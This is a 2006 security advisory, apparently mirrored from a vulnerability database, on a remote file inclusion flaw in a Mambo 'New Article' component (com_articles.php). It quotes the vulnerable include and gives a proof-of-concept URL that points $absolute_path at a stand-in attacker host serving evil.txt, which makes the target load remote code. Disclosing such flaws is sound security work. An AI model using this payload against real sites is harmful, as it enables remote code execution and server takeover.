Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:13565
HistoryJul 24, 2006 - 12:00 a.m.

New Article Mambo Component <= 1.0 (com_articles.php) Remote File Include Vulnerabilities

2006-07-2400:00:00
vulners.com
19

New Article Mambo Component <= 1.0 (com_articles.php) Remote File Include Vulnerabilities

Author : Ahmad Maulana a.k.a Matdhule
Date : July 17th 2006
Location : Indonesia, Jakarta
Critical Lvl : Highly critical
Impact : System access
Where : From Remote

Affected software description:


Application : New Article Component &#40;com_articles.php&#41;

Version : 1.0

---------------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~~

In folder components we found vulnerability script com_articles.php.

-----------------------com_articles.php---------------------------------
&lt;?php

include&#40;$absolute_path.&#39;/language/&#39;.$lang.&#39;/lang_articles.php&#39;&#41;;

require&#40;&quot;classes/html/com_articles.php&quot;&#41;;
$articles = new articles&#40;&#41;;

Variables $absolute_path are not properly sanitized. When register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.
 
Proof Of Concept:
~~~~~~~~~~~~~~~~

http://[target]/[path]/components/com_articles.php?absolute_path=http://attacker.com/evil.txt?

---------------------------------------------------------------------------------

Solution:
~~~~~~~~
 
sanitize variabel $absolute_path.
 
 
------------------------------------------------------------------------
---
Shoutz:
~~~~~~
~ solpot a.k.a chris, J4mbi  H4ck3r for the hacking lesson :&#41;
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S&#96;to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ [email protected], [email protected]
~ #mardongan #jambihackerlink #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~~~~
 
     matdhule[at]gmail[dot]com
     
-------------------------------- [ EOF ]----------------------------------